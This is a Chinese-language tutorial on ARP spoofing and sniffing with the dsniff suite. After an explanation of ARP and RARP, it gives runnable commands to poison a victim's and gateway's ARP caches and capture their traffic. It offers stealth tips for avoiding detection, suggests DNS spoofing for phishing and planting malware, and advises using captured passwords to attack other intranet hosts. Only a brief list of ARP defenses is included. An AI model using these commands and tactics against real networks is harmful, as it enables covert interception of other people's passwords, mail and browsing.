熟练使用 dsniff套件 进行嗅探



0x01 嗅探之前,我们有必要先来大致回顾下arp和rarp的基本通信流程,假设现在交换机中的mac地址表中暂时还没有任何对应关系A机器想和B机器进行通信

1
2
3
4
5
arp 地址解析协议,即通过ip找对应的mac:
首先,A会先发arp请求[广播],向同一交换机下的所有其它机器询问,谁有B的这个ip
当B收到这条消息时,就会再用arp响应给A,说,我有这个ip,我的mac是多少...
当完成第一次正常通信之后就会在交换机的mac地址表中记录下这层指向对应关系
后续就直接按照mac地址表中已有的指向来通信,而不再用广播询问,这就是一次极为常规的arp通信过程

1
2
3
4
rarp 反向地址解析协议,即通过mac找对应的ip:
理解完arp以后,我们再来看rarp,同样是先发请求,这个请求简单来讲也是一个广播,不过,在此广播中声明了自己的mac
并请求任何收到此请求的rarp服务器分配一个ip,当同网段的rarp服务器收到此请求后会检查自己的rarp列表找到该mac对应的ip
如果此mac的ip被找到,就直接响应对方使用,如果没找到,最后就会提示初始化失败

0x02 关于arp欺骗最核心的细节

1
2
3
4
5
假设同一交换机下有三台机器,分别为 A , B , C,正常情况下B和C的通信数据,A是不可能看到的
但在ARP缓存表机制中存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己曾经是否向对方主机发送过ARP请求
就直接就把这个应答包中的IP与MAC地址的对应关系更新到自己本地的ARP缓存表中,这时就直接导致原有IP的对应关系被恶意替换
通俗点儿理解,也就是说,我强制刷新了对方的arp缓存对应关系,把原来ip的指向现在换成了我自己的地址
导致现在B和C的通信都要先经过A,那么,我们在A上自然就可以顺利的看到C和B之间的所有明文通信数据,即实现了所谓的监听

0x03 简单的arp欺骗实战利用演示

首先,开启本地的路由转发功能,让所有被嗅探的目标都通过你的机器来正常上网,所以必须在你本机开启转发,不然会导致目标无法上网,也很可能被人察觉

永久开启转发:

1
2
3
# vi /etc/sysctl.conf
net.ipv4.ip_forward=1
# sysctl -p

临时开启转发:

1
# echo 1 > /proc/sys/net/ipv4/ip_forward

此次用于实验的环境大致如下

1
2
3
4
centos6.8 x86_64 ip: 192.168.3.4 eth2 mac: 00:0C:29:C4:A0:95 嗅探者的机器 dsniff
win7 x64 ip: 192.168.3.8 mac: 00-0C-29-3B-BF-A8 被嗅探的机器
win 2008R2 ip: 192.168.3.23 mac: 00-0C-29-6C-55-D2 上面已经事先配置好了各种服务
网关 ip: 192.168.3.1 mac: dc-ee-06-96-b7-b7

这次,我们直接利用epel源来安装dsniff,最好别自己用源码装,不然你会发现这就是个死循环,编译过程中的问题会非常的多,而且解决起来也比较周折,确实没必要在那上面浪费太多时间

1
2
# yum install epel-release -y
# yum install dsniff -y

arpspoof 的两种缓存毒化方式,实战中尽量先让它跑一会儿,感觉毒化的差不多了,再开始嗅探数据

在目标机器上观察毒化前的网关mac是多少

单向欺骗,实战中最好用单向欺骗,相对不易被察觉

1
2
3
# arpspoof -i eth2 -t 192.168.3.8 192.168.3.1 &>/dev/null
# arpspoof -i eth2 -t 192.168.3.1 192.168.3.4 &>/dev/null
# killall arpspoof 停止arpspoof,最好连续多执行几次,执行到提示没有该进程为止


双向欺骗,被嗅探的机器是无法正常上网的,不建议用

1
2
# arpspoof -i 网卡接口 -t 目标机器ip [-r 用来捕获两个方向的数据,默认是单向的] 网关ip
# arpspoof -i eth2 -t 192.168.3.8 -r 192.168.3.1

再次,回到被嗅探的目标机器上观察毒化后的网关mac变成了多少

利用各类嗅探工具截获流过本地的所有明文密码,图片数据,这里不一定非要用自带的dsniff,driftnet,比如,tcpdump,ettercap,各类py脚本…也都是非常不错的选择,反正别人机器上的数据都已经流过你的机器了,至于怎么截获,方法就非常多了,注意网卡不要抓错了,一定抓那个正在用于嗅探的网卡

1
# tcpdump -i eth2 -s 0 -nnA 'tcp dst port 80 and host 192.168.3.8 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

1
2
# dsniff -i eth2
# driftnet -i eth0

尝试利用urlsnarf截获目标的http url访问记录,主要是想看看目标内网还有没有其它的web之类的,抓到密码以后好针对性的下手,如果内容太多看着比较乱,可以使用-v选项指定过滤正则

1
# urlsnarf -i eth2

尝试利用dnsspoof进行简单的dns欺骗,可以适当的用它来钓鱼挂马什么的

1
# dnsspoof -i eth2 -f /etc/hosts



尝试利用 filesnarf 抓取往nfs共享目录中保存的文件,意思就是只要被嗅探的机器往nfs server共享目录存文件,也会自动复制到本地一份,速度可能会稍慢,比较简单,这里就不演示了

1
# filesnarf -i eth2

尝试利用mailsnarf嗅探各类邮件数据,同样它也支持正则输出

1
mailsnarf -i eth2

关于dsniff套件中的其它小工具这里就不一一说了,使用都非常简单,大家可以自己在实战中慢慢体会

0x05 关于arp防御的问题

1
2
3
4
绑定网关ip与mac
绑定本机Arp缓存表中网关的Mac IP
上靠谱的arp防火墙
...



后话:
    迫不得已要嗅的时候,最好先仔细挑好目标机器,有针对性的嗅,切记千万不要一上来就全网段大规模的嗅,如果对方网络比较大,你的网卡很可能会撑不住,极易把别人搞掉线,另外,这样干,动静儿也非常大,一般拿到有用的东西,立马停掉即可,嗅的时间最好也不要太长,另外,关于嗅https明文密码和其它各类嗅探工具的使用,我们后续会慢慢再说,其实,说心里话,防护稍微好一点的内网,基本是没什么太多的机会给你嗅的,不过C段的时候还是可以试试的,^_^ 待续…